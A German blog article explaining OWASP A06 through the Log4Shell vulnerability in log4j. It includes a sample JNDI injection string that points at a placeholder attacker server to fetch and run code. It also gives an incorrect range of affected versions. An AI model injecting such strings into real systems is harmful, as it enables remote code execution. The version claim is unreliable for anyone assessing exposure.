CVE-2021-44228 - Log4Shell
Einleitung - Jede Sicherheitslücke gehört zu OWASP A06!
Die allgemein gehaltene Formulierung der OWASP-Kategorie A06 aus 2021 hat zur Folge, dass viele Sicherheitslücken, zu ihr zählen. OWASP A06 beschreibt Sicherheitslücken, die in Abhängigkeiten/Dependencies von Softwareprodukten enthalten sind. Es gibt sowohl viele Softwareprodukte als auch auf Entwicklungsebene viele Abhängigkeiten, bei denen Updates ausgelassen werden. Also ist die genaue Art der Sicherheitslücke, wie sie ein System verwundbar macht und welchen Einfluss sie auf das System hat, nicht festgelegt. Jede Sicherheitslücke kann zu dieser Kategorie zählen, wenn sie nicht behoben bzw. nicht durch ein Update aus einem Softwareprodukt entfernt wird. Im folgenden Artikel wollen wir einmal eine interessante Sicherheitslücke vorstellen, bei der die Nutzung veralteter Abhängigkeiten zum Problem werden kann.
Beispiel: Log4Shell CVE-2021-44228
In diesem Beispiel geht es um das Logging Framework log4j und eine darin entdeckte Sicherheitslücke, die Log4Shell genannt wird. Das Framework kann in Java-Anwendungen eingebunden werden und ermöglicht es Protokolldaten dieser Anwendung zu sammeln und ist eine sehr weit verbreitete Abhängigkeit, die in vielen Softwareprodukten genutzt wird. Die Lücke ist in den Versionen 2.0 bis 2.4 enthalten und ermöglicht es einem Angreifer auf einem Zielsystem Schadcode herunterzuladen und auszuführen. Es sind bereits über 100 Dienste und Softwareprodukte bekannt, die diese Abhängigkeit eingebunden haben und anfällig dafür sind.
Das Problem entsteht, wenn die Anwendung log4j so nutzt, dass bestimmte vom Angreifer kontrollierte Daten protokolliert werden. Dabei könnte ein Logeintrag etwa so aussehen:
Der User hat {böserString} eingegeben.
Wenn in diesem vom Angreifer kontrollierten bösen String nun zum Beispiel
${jndi:ldap://boser.server.de/a}
enthalten ist, versucht log4j zu der angegebenen Webadresse eine Verbindung herzustellen und Code herunterzuladen. Dieser wird ohne weitere Überprüfung ausgeführt und erlaubt es dem Angreifer so beliebigen Code in einem System einzuschleusen. Diese Lücke kann durch ein Update auf eine nicht mehr betroffene Version (aktuell 2.16) entfernt werden. Es gibt aber auch einen Workaround, falls von Anwendern Produkte verwendet werden, für die bisher kein Update verfügbar ist. So kann über einen Aufrufparameter oder eine Umgebungsvariable das automatische Auswerten solcher Strings deaktiviert werden.
Beheben von Sicherheitslücken in OWASP A06
Es ist es im Allgemeinen sehr aufwändig und fehleranfällig jede Abhängigkeit einzeln auf Sicherheitslücken zu untersuchen und ggf. zu updaten. Dafür bieten sich Tools an, die diese Aufgabe automatisiert übernehmen können. Die Abhängigkeiten werden oft aus Package-Managern wie NuGet bezogen, welche solche Tools zum Teil schon integrieren. NuGet listet von vornherein bekannte CVE-Schwachstellen in Packages auf und informiert die User beim Installieren und Ansehen der Abhängigkeiten über die Schwachstellen. Darüber hinaus gibt es beispielsweise mit dem
dotnet list package --vulnerable --include-transitive
Kommando eine Möglichkeit direkt aus der Konsole heraus alle bekannten Schwachstellen in einem dotnet-Softwareprojekt anzuzeigen. Da dies über die Kommandozeile möglich ist, ist eine Einbindung in Automatismen wie Continuous Integration/Continuous Delivery kein Problem. Mehr Informationen zu Best Practices im Umgang mit solchen CI/CD Abläufen gibt es beispielsweise auf dieser Microsoft Seite. Darüber hinaus gibt es mit den Github Security Advisories auch einen Leitfaden und eine Möglichkeit zum Umgang mit Sicherheitslücken, wenn diese im Code entdeckt werden.
Zusammenfassung
Zusammenfassend lässt sich sagen, dass Softwareprojekte mit vielen und/oder veralteten Abhängigkeiten ein immer ein attraktives Ziel für Angreifer sind und oft Sicherheitslücken gefunden werden. Vor allem im Web-Umfeld sind viele ungepatchte Systeme vorhanden, die mit älteren Softwareversionen arbeiten und nach wie vor für alte Sicherheitslücken anfällig sind. Leider sind dadurch viele Softwareprodukte und Systeme weiterhin angreifbar.